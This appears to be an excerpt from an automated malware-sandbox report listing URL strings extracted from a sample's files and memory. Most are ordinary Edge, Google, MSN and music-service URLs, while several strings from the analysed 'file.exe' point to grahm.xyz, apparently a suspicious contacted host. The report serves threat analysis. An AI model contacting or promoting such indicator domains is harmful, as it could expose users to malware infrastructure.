Source: manifest.json.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.10.dr	String found in binary or memory: https://drive.google.com/
Source: MOP8GV.0.dr, Q9RQQQ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MOP8GV.0.dr, Q9RQQQ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MOP8GV.0.dr, Q9RQQQ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.ldb.10.dr	String found in binary or memory: https://edgeassetservice.azure
Source: 8ca318b1-9904-4b9c-94a8-aa74f288d2b4.tmp.13.dr, 9fcf533d-7852-4fa6-aa4b-475f68a58e0a.tmp.13.dr, 8314d887-e83b-4a7e-aaf7-3553fb860120.tmp.13.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.ldb.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/
Source: 000003.log.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log0.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: chromecache_454.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_454.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_454.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_454.6.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://gaana.com/
Source: file.exe, 00000000.00000003.1649950746.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz
Source: file.exe, 00000000.00000003.1649950746.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/
Source: file.exe, 00000000.00000003.1603871196.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/N
Source: file.exe, 00000000.00000003.1731594484.0000000000F19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/e
Source: file.exe, 00000000.00000003.1696103084.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649950746.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/i
Source: file.exe, 00000000.00000003.1673125309.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1649950746.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/m
Source: file.exe, 00000000.00000003.1696103084.0000000000F15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grahm.xyz/q
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: RQ1VK6.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://m.kugou.com/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://m.soundcloud.com/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://m.vk.com/
Source: 000003.ldb.10.dr	String found in binary or memory: https://mail.google.com
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://music.amazon.com
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://music.apple.com
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.com
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.10.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr, 000003.ldb.10.dr	String found in binary or memory: https://open.spotify.com
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: e5b1af8d-672e-4286-a567-f7fb77fc4f5d.tmp.10.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
